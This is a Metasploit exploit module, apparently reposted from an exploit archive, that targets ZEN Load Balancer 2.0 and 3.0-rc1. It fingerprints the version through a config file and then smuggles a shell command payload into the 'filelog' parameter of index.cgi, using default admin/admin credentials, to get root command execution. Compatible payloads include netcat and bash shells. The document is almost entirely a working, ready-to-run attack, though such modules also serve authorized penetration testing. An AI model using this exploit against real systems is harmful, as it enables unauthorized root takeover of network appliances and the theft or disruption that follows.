ZEN Load Balancer Filelog Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ZEN Load Balancer Filelog Command Execution",
      'Description'    => %q{
        This module exploits a vulnerability in ZEN Load Balancer
        version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
        to execute arbitrary code under the context of the 'root' user.
        The 'content2-2.cgi' file uses user controlled data from the 'filelog'
        parameter within backticks.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
        ],
      'References'     =>
        [
          ['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
        ],
      'DefaultOptions'  =>
        {
          'ExitFunction' => 'none'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat-e perl bash',
            }
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Sep 14 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(444),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('USERNAME', [true, 'The username for the application', 'admin']),
        OptString.new('PASSWORD', [true, 'The password for the application', 'admin'])
      ], self.class)
  end

  def check

    @peer = "#{rhost}:#{rport}"

    # retrieve software version from config file
    print_status("#{@peer} - Sending check")
    begin
      res = send_request_cgi({
        'uri' => '/config/global.conf'
      })

      if    res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
        return Exploit::CheckCode::Appears
      elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
        return Exploit::CheckCode::Detected
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{@peer} - Connection failed")
    end
    return Exploit::CheckCode::Unknown

  end

  def exploit

    @peer = "#{rhost}:#{rport}"
    user  = datastore['USERNAME']
    pass  = datastore['PASSWORD']
    auth  = Rex::Text.encode_base64("#{user}:#{pass}")
    cmd   = Rex::Text.uri_encode(";#{payload.encoded}&")
    lines = rand(100) + 1

    # send payload
    print_status("#{@peer} - Sending payload (#{payload.encoded.length} bytes)")
    begin
      res = send_request_cgi({
        'uri'     => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}",
        'headers' =>
          {
            'Authorization' => "Basic #{auth}"
          }
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Exploit::Failure::Unreachable, 'Connection failed')
    rescue
      fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
    end

    if res and res.code == 401
      fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
    end

  end

end



#  0day.today [2018-01-04]  #